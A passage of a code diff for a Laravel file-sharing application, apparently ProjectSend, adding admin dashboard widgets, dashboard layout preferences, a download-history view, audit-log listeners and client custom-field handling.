{
|
||||
return array_keys(array_filter($permissions));
|
||||
}
|
||||
|
||||
/**
|
||||
* Reads the Transfers widget's date-range controls off the query
|
||||
* string (?range=last_week|last_month|previous_month|custom, plus
|
||||
* ?from=&to= for custom). Defaults to last_month — the same rolling
|
||||
* 30-day window the widget always showed before the selector existed.
|
||||
*
|
||||
* Every boundary is built in the viewer's zone, so "last week" ends
|
||||
* when their evening does and not at whatever hour UTC midnight falls
|
||||
* on for them. The returned instants are still absolute — only the
|
||||
* day edges moved — so they compare against the UTC column directly.
|
||||
*
|
||||
* @return array{0: Carbon, 1: Carbon, 2: string}
|
||||
*/
|
||||
private function resolveTransferRange(Request $request, string $timezone): array
|
||||
{
|
||||
$preset = $request->query('range');
|
||||
$now = fn (): Carbon => now()->setTimezone($timezone);
|
||||
|
||||
return match ($preset) {
|
||||
'last_week' => [$now()->subDays(6)->startOfDay(), $now()->endOfDay(), 'last_week'],
|
||||
'previous_month' => (function () use ($now): array {
|
||||
$previousMonth = $now()->subMonth();
|
||||
|
||||
return [$previousMonth->copy()->startOfMonth(), $previousMonth->copy()->endOfMonth(), 'previous_month'];
|
||||
})(),
|
||||
'custom' => $this->resolveCustomTransferRange($request, $timezone),
|
||||
default => [$now()->subDays(29)->startOfDay(), $now()->endOfDay(), 'last_month'],
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: Carbon, 1: Carbon, 2: string}
|
||||
*/
|
||||
private function resolveCustomTransferRange(Request $request, string $timezone): array
|
||||
{
|
||||
$now = fn (): Carbon => now()->setTimezone($timezone);
|
||||
|
||||
try {
|
||||
$from = $request->query('from') !== null ? Carbon::parse($request->query('from'), $timezone)->startOfDay() : null;
|
||||
$to = $request->query('to') !== null ? Carbon::parse($request->query('to'), $timezone)->endOfDay() : null;
|
||||
} catch (\Throwable) {
|
||||
return [$now()->subDays(29)->startOfDay(), $now()->endOfDay(), 'last_month'];
|
||||
}
|
||||
|
||||
$from ??= $now()->subDays(29)->startOfDay();
|
||||
$to ??= $now()->endOfDay();
|
||||
|
||||
if ($from->gt($to)) {
|
||||
[$from, $to] = [$to->copy()->startOfDay(), $from->copy()->endOfDay()];
|
||||
}
|
||||
|
||||
// A year is plenty for a "custom range" on a daily-granularity
|
||||
// chart — anything longer just clips to the most recent year
|
||||
// rather than rendering an unreadable multi-year line.
|
||||
if ($from->diffInDays($to) > 366) {
|
||||
$from = $to->copy()->subDays(366)->startOfDay();
|
||||
}
|
||||
|
||||
return [$from, $to, 'custom'];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, int>
|
||||
*/
|
||||
private function counters(): array
|
||||
{
|
||||
return [
|
||||
'files' => File::query()->count(),
|
||||
'files_bytes' => (int) File::query()->sum('size'),
|
||||
'clients' => User::query()->where('type', UserType::Client)->count(),
|
||||
'groups' => Group::query()->count(),
|
||||
'users' => User::query()->where('type', UserType::Staff)->count(),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Uploads vs downloads per day across the given range, zero-filled.
|
||||
* Downloads split into "by clients" and "anonymous" — anonymous
|
||||
* covers unauthenticated share-link/public-listing downloads, the
|
||||
* traffic an admin has no other visibility into. Staff downloads
|
||||
* (an admin grabbing a file to check it) count toward neither
|
||||
* bucket; they're not the audience-facing traffic this chart tracks.
|
||||
*
|
||||
* @return list<array{date: string, uploads: int, downloads_clients: int, downloads_anonymous: int}>
|
||||
*/
|
||||
private function transferSeries(Carbon $from, Carbon $to, string $timezone): array
|
||||
{
|
||||
// Two forms of the same set: string values for the SQL whereIn,
|
||||
// enum cases for filtering the already-cast `action` attribute
|
||||
// once loaded — ActivityLog::casts() turns it into an Action
|
||||
// instance, which a raw string never loosely equals.
|
||||
$downloadActions = [Action::FileDownloaded, Action::ShareLinkDownloaded, Action::PublicFileDownloaded];
|
||||
|
||||
$rows = ActivityLog::query()
|
||||
->whereIn('action', [Action::FileUploaded->value, ...array_map(fn (Action $a): string => $a->value, $downloadActions)])
|
||||
->whereBetween('created_at', [$from, $to])
|
||||
->get(['action', 'actor_type', 'created_at'])
|
||||
// Bucketed by the viewer's calendar day. Grouping on the UTC
|
||||
// one puts an evening upload from anywhere west of Greenwich
|
||||
// on tomorrow's bar, which the person who made it reads as
|
||||
// the chart being a day out.
|
||||
->groupBy(fn (ActivityLog $entry): string => $entry->created_at->copy()->setTimezone($timezone)->format('Y-m-d'));
|
||||
|
||||
$series = [];
|
||||
// $from and $to already carry the viewer's zone (see
|
||||
// resolveTransferRange), so these day keys line up with the
|
||||
// grouping above.
|
||||
$cursor = $from->copy()->startOfDay();
|
||||
$lastDay = $to->copy()->startOfDay();
|
||||
|
||||
while ($cursor->lte($lastDay)) {
|
||||
$date = $cursor->format('Y-m-d');
|
||||
$entries = $rows->get($date, collect());
|
||||
$downloads = $entries->whereIn('action', $downloadActions);
|
||||
|
||||
$series[] = [
|
||||
'date' => $date,
|
||||
'uploads' => $entries->where('action', Action::FileUploaded)->count(),
|
||||
'downloads_clients' => $downloads->where('actor_type', UserType::Client->value)->count(),
|
||||
'downloads_anonymous' => $downloads->whereNull('actor_type')->count(),
|
||||
];
|
||||
|
||||
$cursor->addDay();
|
||||
}
|
||||
|
||||
return $series;
|
||||
}
|
||||
|
||||
/**
|
||||
* The 5 clients using the most storage, each against their own
|
||||
* effective quota (own override, or the site default — see
|
||||
* ClientStorageUsage::quotaMb()) so the widget reads the same way
|
||||
* the client-facing usage box does.
|
||||
*
|
||||
* @return list<array{id: int, name: string, used_bytes: int, quota_mb: int}>
|
||||
*/
|
||||
private function topClientsByStorage(): array
|
||||
{
|
||||
$rows = File::query()
|
||||
->select('uploaded_by', DB::raw('SUM(size) as total_bytes'))
|
||||
->whereHas('uploader', fn ($query) => $query->where('type', UserType::Client))
|
||||
->groupBy('uploaded_by')
|
||||
->orderByDesc('total_bytes')
|
||||
->limit(5)
|
||||
->get();
|
||||
|
||||
if ($rows->isEmpty()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$clients = User::query()->whereIn('id', $rows->pluck('uploaded_by'))->get()->keyBy('id');
|
||||
|
||||
$result = [];
|
||||
|
||||
foreach ($rows as $row) {
|
||||
$client = $clients->get($row->uploaded_by);
|
||||
|
||||
if ($client === null) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$result[] = [
|
||||
'id' => (int) $row->uploaded_by,
|
||||
'name' => $client->name,
|
||||
'used_bytes' => (int) $row->getAttribute('total_bytes'),
|
||||
'quota_mb' => $this->storageUsage->quotaMb($client),
|
||||
];
|
||||
}
|
||||
|
||||
return $result;
|
||||
}
|
||||
|
||||
/**
|
||||
* The 10 largest individual files on the installation, regardless of
|
||||
* uploader — catches a single space hog that per-client aggregates
|
||||
* (topClientsByStorage()) can't surface on their own.
|
||||
*
|
||||
* Edit/download/uploader links are coarse-gated on the viewer's own
|
||||
* permissions only (same level of precision ActivityLogController's
|
||||
* own link resolver uses) — not a per-file StaffLibraryScope check,
|
||||
* so a client-scoped staff member could still see a link here that
|
||||
* 403s if clicked. Accepted, matching existing precedent, rather
|
||||
* than adding per-row scope checks to a 10-row dashboard widget.
|
||||
*
|
||||
* @return list<array{id: int, name: string, size: int, uploader_name: ?string, created_at: string, edit_url: ?string, download_url: ?string, uploader_edit_url: ?string}>
|
||||
*/
|
||||
private function largestFiles(User $viewer): array
|
||||
{
|
||||
// FilePolicy::view() — the ability both files.edit and
|
||||
// files.download authorize against — requires one of these for
|
||||
// staff. Client-facing files never appear here as an uploader
|
||||
// (clients don't have "view" gated the same way), so this is the
|
||||
// one check both links share.
|
||||
$canFiles = $viewer->can('upload') || $viewer->can('edit_files') || $viewer->can('edit_others_files');
|
||||
$canClients = $viewer->can('edit_clients');
|
||||
$staffModule = $this->capabilities->has(Capability::UsersManage) && $viewer->can('manage_users');
|
||||
$canStaffUsers = $staffModule && $viewer->can('edit_users');
|
||||
|
||||
return array_values(File::query()
|
||||
->with('uploader:id,name,type')
|
||||
->orderByDesc('size')
|
||||
->limit(10)
|
||||
->get(['id', 'name', 'size', 'uploaded_by', 'created_at'])
|
||||
->map(function (File $file) use ($canFiles, $canClients, $canStaffUsers): array {
|
||||
$uploader = $file->uploader; // uploaded_by is nullOnDelete — may be gone.
|
||||
|
||||
return [
|
||||
'id' => $file->id,
|
||||
'name' => $file->name,
|
||||
'size' => $file->size,
|
||||
'uploader_name' => $uploader?->name,
|
||||
'created_at' => $file->created_at?->toIso8601String() ?? '',
|
||||
'edit_url' => $canFiles ? route('files.edit', $file->id, false) : null,
|
||||
'download_url' => $canFiles ? route('files.download', $file->id, false) : null,
|
||||
'uploader_edit_url' => match (true) {
|
||||
$uploader === null => null,
|
||||
$uploader->type === UserType::Client && $canClients => route('clients.edit', $uploader->id, false),
|
||||
$uploader->type === UserType::Staff && $canStaffUsers => route('users.edit', $uploader->id, false),
|
||||
default => null,
|
||||
},
|
||||
];
|
||||
})->all());
|
||||
}
|
||||
|
||||
/**
|
||||
* The 10 soonest-expired files still awaiting the daily purge, plus
|
||||
* enough context (is auto-delete even on, when does the job next run)
|
||||
* for the widget to explain what's about to happen to them.
|
||||
*
|
||||
* @return array{count: int, files: list<array{id: int, name: string, expires_at: ?string, edit_url: ?string}>, auto_delete_enabled: bool, next_run_at: string}
|
||||
*/
|
||||
private function expiredFiles(User $viewer): array
|
||||
{
|
||||
// Same coarse gate largestFiles() uses for its edit links.
|
||||
$canFiles = $viewer->can('upload') || $viewer->can('edit_files') || $viewer->can('edit_others_files');
|
||||
|
||||
return [
|
||||
'count' => File::query()->expired()->count(),
|
||||
'files' => array_values(File::query()->expired()->orderBy('expires_at')->limit(10)
|
||||
->get(['id', 'name', 'expires_at'])
|
||||
->map(fn (File $file): array => [
|
||||
'id' => $file->id,
|
||||
'name' => $file->name,
|
||||
'expires_at' => $file->expires_at?->toIso8601String(),
|
||||
'edit_url' => $canFiles ? route('files.edit', $file->id, false) : null,
|
||||
])->all()),
|
||||
'auto_delete_enabled' => (bool) $this->settings->get(Setting::ExpiredFilesAutoDeleteEnabled),
|
||||
// Schedule::command('projectsend:purge-expired-files')->daily()
|
||||
// runs at 00:00 — always "tonight" from whenever this loads.
|
||||
'next_run_at' => now()->copy()->startOfDay()->addDay()->toIso8601String(),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<int, array<string, mixed>>
|
||||
*/
|
||||
private function recentActivity(): array
|
||||
{
|
||||
return ActivityLog::query()
|
||||
->orderByDesc('created_at')
|
||||
->orderByDesc('id')
|
||||
->limit(8)
|
||||
->get()
|
||||
->map(fn (ActivityLog $entry): array => [
|
||||
'id' => $entry->id,
|
||||
'created_at' => $entry->created_at->toIso8601String(),
|
||||
'actor_name' => $entry->actor_name,
|
||||
'actor_type' => $entry->actor_type,
|
||||
'template' => $entry->action->template(),
|
||||
'replacements' => [
|
||||
'subject' => $entry->subject_name
|
||||
?? ($entry->subject_id !== null ? __('(deleted account)') : ''),
|
||||
...collect($entry->context ?? [])
|
||||
->filter(fn ($value): bool => is_scalar($value))
|
||||
->map(fn ($value): string => (string) $value)
|
||||
->all(),
|
||||
],
|
||||
])->all();
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, string|int|bool|array<string, string|null>|null>
|
||||
*/
|
||||
private function systemInfo(): array
|
||||
{
|
||||
$freeBytes = @disk_free_space(storage_path('app/files'));
|
||||
|
||||
// Cached by CheckForUpdatesCommand (daily) — never a live HTTP
|
||||
// call from the request path. null means either no successful
|
||||
// check yet, or the current version is already the latest.
|
||||
$release = $this->latestRelease->current();
|
||||
|
||||
return [
|
||||
...$this->environment->toArray(),
|
||||
'storage_used_bytes' => (int) File::query()->sum('size'),
|
||||
'storage_free_bytes' => $freeBytes === false ? -1 : (int) $freeBytes,
|
||||
'update_available' => $release !== null,
|
||||
'latest_version' => $release['version'] ?? null,
|
||||
'release_url' => $release['url'] ?? null,
|
||||
// Null unless this is a container whose uploads still go to the
|
||||
// local disk — see StorageDurability.
|
||||
'storage_durability' => $this->storageDurability->inspect(),
|
||||
// Decides which upgrade instructions the card prints — see
|
||||
// Installation. Always present, unlike storage_durability, which
|
||||
// is null whenever the durability question does not apply.
|
||||
'install_kind' => $this->installation->kind()->value,
|
||||
];
|
||||
}
|
||||
|
||||
private function clientDashboard(User $client): Response
|
||||
{
|
||||
$assignedFiles = File::query()->whereHas('assignments', function ($query) use ($client): void {
|
||||
$query->where(function ($direct) use ($client): void {
|
||||
$direct->where('assignable_type', User::class)->where('assignable_id', $client->id);
|
||||
})->orWhere(function ($viaGroup) use ($client): void {
|
||||
$viaGroup->where('assignable_type', Group::class)
|
||||
->whereIn('assignable_id', $client->memberOfGroups()->pluck('groups.id'));
|
||||
});
|
||||
});
|
||||
|
||||
return Inertia::render('portal/dashboard', [
|
||||
'files_count' => (clone $assignedFiles)->count(),
|
||||
'groups_count' => $client->memberOfGroups()->where('public', true)->count(),
|
||||
'storage' => [
|
||||
'used_bytes' => $this->storageUsage->usedBytes($client),
|
||||
'quota_bytes' => $this->storageUsage->quotaBytes($client) ?: null,
|
||||
],
|
||||
'latest_files' => $assignedFiles->orderByDesc('created_at')->limit(5)->get()
|
||||
->map(fn (File $file): array => [
|
||||
'id' => $file->id,
|
||||
'name' => $file->name,
|
||||
'size' => $file->size,
|
||||
'created_at' => $file->created_at?->toIso8601String(),
|
||||
])->all(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Audit\Http\Controllers;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Modules\Audit\Models\DashboardWidgetPreference;
|
||||
use Illuminate\Http\RedirectResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Validation\Rule;
|
||||
|
||||
/**
|
||||
* Saves a staff member's dashboard layout (per-widget enabled/column/
|
||||
* position, plus column count) — every account manages their own, same
|
||||
* "self-scoped, no extra permission needed" shape as
|
||||
* NotificationPreferencesController. Which widgets a viewer can even
|
||||
* toggle is enforced entirely by DashboardController's own permission
|
||||
* checks on read — this endpoint only ever stores a preference, it never
|
||||
* grants visibility a viewer's Gates don't already allow.
|
||||
*/
|
||||
class DashboardWidgetPreferencesController extends Controller
|
||||
{
|
||||
/**
|
||||
* Every key DashboardController::__invoke() knows how to render —
|
||||
* kept here as the single validation allowlist so a stray/typo'd key
|
||||
* can't accumulate a dead row.
|
||||
*/
|
||||
private const WIDGET_KEYS = [
|
||||
'counters',
|
||||
'transfers',
|
||||
'top_clients_by_storage',
|
||||
'largest_files',
|
||||
'recent',
|
||||
'system',
|
||||
'news',
|
||||
'expired_files',
|
||||
'api',
|
||||
];
|
||||
|
||||
public function update(Request $request): RedirectResponse
|
||||
{
|
||||
$user = $request->user();
|
||||
assert($user !== null);
|
||||
|
||||
$validated = $request->validate([
|
||||
'columns' => ['required', 'integer', 'between:1,4'],
|
||||
'widgets' => ['required', 'array'],
|
||||
'widgets.*.widget_key' => ['required', 'string', Rule::in(self::WIDGET_KEYS)],
|
||||
'widgets.*.enabled' => ['required', 'boolean'],
|
||||
'widgets.*.column_index' => ['required', 'integer', 'between:0,3'],
|
||||
'widgets.*.position' => ['required', 'integer', 'min:0'],
|
||||
]);
|
||||
|
||||
foreach ($validated['widgets'] as $widget) {
|
||||
DashboardWidgetPreference::query()->updateOrCreate(
|
||||
['user_id' => $user->id, 'widget_key' => $widget['widget_key']],
|
||||
[
|
||||
'enabled' => $widget['enabled'],
|
||||
'column_index' => $widget['column_index'],
|
||||
'position' => $widget['position'],
|
||||
],
|
||||
);
|
||||
}
|
||||
|
||||
$user->update(['dashboard_columns' => $validated['columns']]);
|
||||
|
||||
return back();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Audit\Http\Controllers;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Modules\Audit\Action;
|
||||
use App\Modules\Audit\ActivityLog;
|
||||
use App\Modules\Audit\ActivityLogScope;
|
||||
use App\Modules\Audit\DownloadPresenter;
|
||||
use App\Modules\Files\Models\File;
|
||||
use App\Support\Pagination;
|
||||
use Illuminate\Http\Request;
|
||||
use Inertia\Inertia;
|
||||
use Inertia\Response;
|
||||
|
||||
/**
|
||||
* Installation-wide download history — every FileDownloaded /
|
||||
* ShareLinkDownloaded / PublicFileDownloaded entry across every file,
|
||||
* newest first. The per-file downloads tab/history (FileDetailsController)
|
||||
* covers a single file; this is the "all of them" view linked from the
|
||||
* sidebar.
|
||||
*/
|
||||
class DownloadsController extends Controller
|
||||
{
|
||||
public function __construct(
|
||||
private readonly DownloadPresenter $presenter,
|
||||
private readonly ActivityLogScope $scope,
|
||||
) {}
|
||||
|
||||
public function index(Request $request): Response
|
||||
{
|
||||
$viewer = $request->user();
|
||||
assert($viewer !== null);
|
||||
|
||||
// A download row names the file and says who fetched it from which
|
||||
// IP, so it needs the viewer's library scope applied — not just
|
||||
// `view_actions_log`. See ActivityLogScope for the full reasoning.
|
||||
$entries = $this->scope
|
||||
->apply(ActivityLog::query(), $viewer)
|
||||
->where('subject_type', (new File)->getMorphClass())
|
||||
->whereIn('action', [Action::FileDownloaded, Action::ShareLinkDownloaded, Action::PublicFileDownloaded])
|
||||
->orderByDesc('created_at')
|
||||
->orderByDesc('id')
|
||||
->paginate(25)
|
||||
->withQueryString();
|
||||
|
||||
$canOpenFiles = $viewer->can('upload') || $viewer->can('edit_files') || $viewer->can('edit_others_files');
|
||||
|
||||
// Openable, not merely existing — the scope decides, so a row never
|
||||
// links to a file the viewer would be refused.
|
||||
$openableFileIds = $this->scope->openableFileIds($viewer, $entries->getCollection()->pluck('subject_id'));
|
||||
|
||||
return Inertia::render('activity/downloads', [
|
||||
'entries' => $entries->getCollection()->map(function (ActivityLog $entry) use ($openableFileIds, $canOpenFiles): array {
|
||||
$openable = $entry->subject_id !== null && isset($openableFileIds[$entry->subject_id]);
|
||||
|
||||
return [
|
||||
...$this->presenter->present($entry),
|
||||
'file_name' => $entry->subject_name ?? __('(deleted file)'),
|
||||
'file_url' => $openable && $canOpenFiles ? route('files.edit', $entry->subject_id, false) : null,
|
||||
];
|
||||
})->all(),
|
||||
'pagination' => Pagination::meta($entries),
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Audit\Listeners;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Modules\Audit\Action;
|
||||
use App\Modules\Audit\ActivityLogger;
|
||||
use Illuminate\Auth\Events\Login;
|
||||
use Illuminate\Auth\Events\Logout;
|
||||
use Illuminate\Events\Dispatcher;
|
||||
|
||||
class LogAuthenticationActivity
|
||||
{
|
||||
public function __construct(
|
||||
private readonly ActivityLogger $activity,
|
||||
) {}
|
||||
|
||||
public function handleLogin(Login $event): void
|
||||
{
|
||||
if ($event->user instanceof User) {
|
||||
$this->activity->log(Action::Login, $event->user);
|
||||
}
|
||||
}
|
||||
|
||||
public function handleLogout(Logout $event): void
|
||||
{
|
||||
if ($event->user instanceof User) {
|
||||
$this->activity->log(Action::Logout, $event->user);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<class-string, string>
|
||||
*/
|
||||
public function subscribe(Dispatcher $events): array
|
||||
{
|
||||
return [
|
||||
Login::class => 'handleLogin',
|
||||
Logout::class => 'handleLogout',
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Audit\Listeners;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Modules\Audit\Action;
|
||||
use App\Modules\Audit\ActivityLogger;
|
||||
use Illuminate\Contracts\Auth\Authenticatable;
|
||||
use Illuminate\Events\Dispatcher;
|
||||
use ProjectSend\CommunityModules\Modules\CustomAssets\Events\CustomAssetCreated;
|
||||
use ProjectSend\CommunityModules\Modules\CustomAssets\Events\CustomAssetDeleted;
|
||||
use ProjectSend\CommunityModules\Modules\CustomAssets\Events\CustomAssetToggled;
|
||||
use ProjectSend\CommunityModules\Modules\CustomAssets\Events\CustomAssetUpdated;
|
||||
|
||||
/**
|
||||
* Translates the community-modules Custom Assets package's own events
|
||||
* into real ActivityLog entries. The package can't do this itself: its
|
||||
* events carry no dependency on this app's Action enum or
|
||||
* ActivityLogger (see CustomAssetCreated's docblock) so it stays
|
||||
* testable standalone — this listener is the other half of that
|
||||
* contract, living here instead.
|
||||
*/
|
||||
class LogCustomAssetActivity
|
||||
{
|
||||
public function __construct(
|
||||
private readonly ActivityLogger $activity,
|
||||
) {}
|
||||
|
||||
public function handleCreated(CustomAssetCreated $event): void
|
||||
{
|
||||
$this->activity->log(Action::CustomAssetCreated, $this->actor($event->actor), $event->asset);
|
||||
}
|
||||
|
||||
public function handleUpdated(CustomAssetUpdated $event): void
|
||||
{
|
||||
$this->activity->log(Action::CustomAssetUpdated, $this->actor($event->actor), $event->asset);
|
||||
}
|
||||
|
||||
public function handleToggled(CustomAssetToggled $event): void
|
||||
{
|
||||
$this->activity->log(
|
||||
$event->enabled ? Action::CustomAssetEnabled : Action::CustomAssetDisabled,
|
||||
$this->actor($event->actor),
|
||||
$event->asset,
|
||||
);
|
||||
}
|
||||
|
||||
public function handleDeleted(CustomAssetDeleted $event): void
|
||||
{
|
||||
$this->activity->log(Action::CustomAssetDeleted, $this->actor($event->actor), context: ['name' => $event->assetTitle]);
|
||||
}
|
||||
|
||||
private function actor(?Authenticatable $actor): ?User
|
||||
{
|
||||
return $actor instanceof User ? $actor : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<class-string, string>
|
||||
*/
|
||||
public function subscribe(Dispatcher $events): array
|
||||
{
|
||||
return [
|
||||
CustomAssetCreated::class => 'handleCreated',
|
||||
CustomAssetUpdated::class => 'handleUpdated',
|
||||
CustomAssetToggled::class => 'handleToggled',
|
||||
CustomAssetDeleted::class => 'handleDeleted',
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Audit\Models;
|
||||
|
||||
use App\Models\User;
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
/**
|
||||
* A user's explicit choice for one dashboard widget's visibility and
|
||||
* position. An absent row for a given (user, widget_key) pair means "use
|
||||
* the documented default layout" — see
|
||||
* DashboardWidgetPreferences::layoutFor().
|
||||
*
|
||||
* @property int $id
|
||||
* @property int $user_id
|
||||
* @property string $widget_key
|
||||
* @property bool $enabled
|
||||
* @property int $column_index
|
||||
* @property int $position
|
||||
*/
|
||||
class DashboardWidgetPreference extends Model
|
||||
{
|
||||
protected $table = 'dashboard_widget_preferences';
|
||||
|
||||
protected $guarded = [];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'enabled' => 'bool',
|
||||
'column_index' => 'integer',
|
||||
'position' => 'integer',
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return BelongsTo<User, $this>
|
||||
*/
|
||||
public function user(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(User::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Clients;
|
||||
|
||||
/**
|
||||
* The input types a custom field definition can render as. "Select"
|
||||
* fields carry their choices in the field's `options` column; the rest
|
||||
* are self-describing.
|
||||
*/
|
||||
enum ClientCustomFieldType: string
|
||||
{
|
||||
case Text = 'text';
|
||||
case Textarea = 'textarea';
|
||||
case Select = 'select';
|
||||
case Checkbox = 'checkbox';
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Clients;
|
||||
|
||||
/**
|
||||
* The client-facing forms a custom field can be placed on.
|
||||
*/
|
||||
enum ClientFieldContext: string
|
||||
{
|
||||
case Registration = 'registration';
|
||||
case AccountEdit = 'account_edit';
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Clients;
|
||||
|
||||
/**
|
||||
* Whether a custom field is exposed to the client themself, and if so,
|
||||
* whether they can keep changing it or only set it once. "EditableOnce"
|
||||
* locks the field read-only as soon as the client has a stored value —
|
||||
* useful for things like a terms-acceptance checkbox.
|
||||
*/
|
||||
enum ClientFieldEditability: string
|
||||
{
|
||||
case Hidden = 'hidden';
|
||||
case Editable = 'editable';
|
||||
case EditableOnce = 'editable_once';
|
||||
}
|
||||
@@ -0,0 +1,164 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Clients;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Modules\Clients\Models\ClientCustomField;
|
||||
use App\Modules\Clients\Models\ClientCustomFieldValue;
|
||||
use Illuminate\Database\Eloquent\Collection;
|
||||
use Illuminate\Support\Collection as BaseCollection;
|
||||
use Illuminate\Validation\Rule;
|
||||
|
||||
/**
|
||||
* The client-facing counterpart to `ClientsController`'s custom-field
|
||||
* handling: which field definitions a client sees on the registration
|
||||
* form and/or their account page, whether any are locked (see
|
||||
* `ClientFieldEditability::EditableOnce`), and the validation/save logic
|
||||
* shared by both surfaces.
|
||||
*
|
||||
* Locked fields are never validated or written to, even if a submission
|
||||
* includes a value for one — the disabled input on the frontend is backed
|
||||
* by a real server-side guarantee, not just UI convention.
|
||||
*/
|
||||
class ClientPortalCustomFields
|
||||
{
|
||||
/**
|
||||
* @return Collection<int, ClientCustomField>
|
||||
*/
|
||||
public function fieldsFor(ClientFieldContext $context): Collection
|
||||
{
|
||||
return ClientCustomField::query()
|
||||
->where('client_editability', '!=', ClientFieldEditability::Hidden->value)
|
||||
->whereJsonContains('client_contexts', $context->value)
|
||||
->orderBy('sort_order')
|
||||
->orderBy('id')
|
||||
->get();
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array<string, mixed>>
|
||||
*/
|
||||
public function rows(ClientFieldContext $context, ?User $client): array
|
||||
{
|
||||
$values = $this->storedValues($client);
|
||||
$rows = [];
|
||||
|
||||
foreach ($this->fieldsFor($context) as $field) {
|
||||
$rows[] = [
|
||||
'id' => $field->id,
|
||||
'label' => $field->label,
|
||||
'type' => $field->type->value,
|
||||
'options' => $field->options,
|
||||
'required' => $field->required,
|
||||
'locked' => $this->isLocked($field, $values),
|
||||
];
|
||||
}
|
||||
|
||||
return $rows;
|
||||
}
|
||||
|
||||
/**
|
||||
* Keyed by field id — PHP normalizes the numeric string key back to an
|
||||
* int, same as every other numeric-keyed array in this class.
|
||||
*
|
||||
* @return array<int, string>
|
||||
*/
|
||||
public function values(ClientFieldContext $context, ?User $client): array
|
||||
{
|
||||
if ($client === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$values = $this->storedValues($client);
|
||||
$rows = [];
|
||||
|
||||
foreach ($this->fieldsFor($context) as $field) {
|
||||
$rows[$field->id] = $values->get($field->id, '');
|
||||
}
|
||||
|
||||
return $rows;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, array<int, mixed>>
|
||||
*/
|
||||
public function rules(ClientFieldContext $context, ?User $client): array
|
||||
{
|
||||
$values = $this->storedValues($client);
|
||||
$rules = [];
|
||||
|
||||
foreach ($this->fieldsFor($context) as $field) {
|
||||
if ($this->isLocked($field, $values)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$key = "custom_field_values.{$field->id}";
|
||||
|
||||
if ($field->type === ClientCustomFieldType::Checkbox) {
|
||||
// Unlike the admin-side rules, a required checkbox here
|
||||
// must actually be checked — "required" alone doesn't
|
||||
// enforce that (a '0' string satisfies it).
|
||||
$rules[$key] = $field->required ? ['accepted'] : ['nullable', 'boolean'];
|
||||
|
||||
continue;
|
||||
}
|
||||
|
||||
$rules[$key] = [$field->required ? 'required' : 'nullable', 'string', 'max:2000'];
|
||||
|
||||
if ($field->type === ClientCustomFieldType::Select && is_array($field->options)) {
|
||||
$rules[$key][] = Rule::in($field->options);
|
||||
}
|
||||
}
|
||||
|
||||
return $rules;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<int, mixed> $submitted field id => submitted value
|
||||
*/
|
||||
public function save(User $client, ClientFieldContext $context, array $submitted): void
|
||||
{
|
||||
$values = $this->storedValues($client);
|
||||
|
||||
foreach ($this->fieldsFor($context) as $field) {
|
||||
if ($this->isLocked($field, $values)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$value = $submitted[$field->id] ?? null;
|
||||
$stored = $field->type === ClientCustomFieldType::Checkbox
|
||||
? ($value ? '1' : '0')
|
||||
: (is_string($value) ? $value : null);
|
||||
|
||||
ClientCustomFieldValue::query()->updateOrCreate(
|
||||
['client_custom_field_id' => $field->id, 'user_id' => $client->id],
|
||||
['value' => $stored === '' ? null : $stored],
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @return BaseCollection<int, string>
|
||||
*/
|
||||
private function storedValues(?User $client): BaseCollection
|
||||
{
|
||||
if ($client === null) {
|
||||
return collect();
|
||||
}
|
||||
|
||||
return ClientCustomFieldValue::query()
|
||||
->where('user_id', $client->id)
|
||||
->pluck('value', 'client_custom_field_id');
|
||||
}
|
||||
|
||||
/**
|
||||
* @param BaseCollection<int, string> $values
|
||||
*/
|
||||
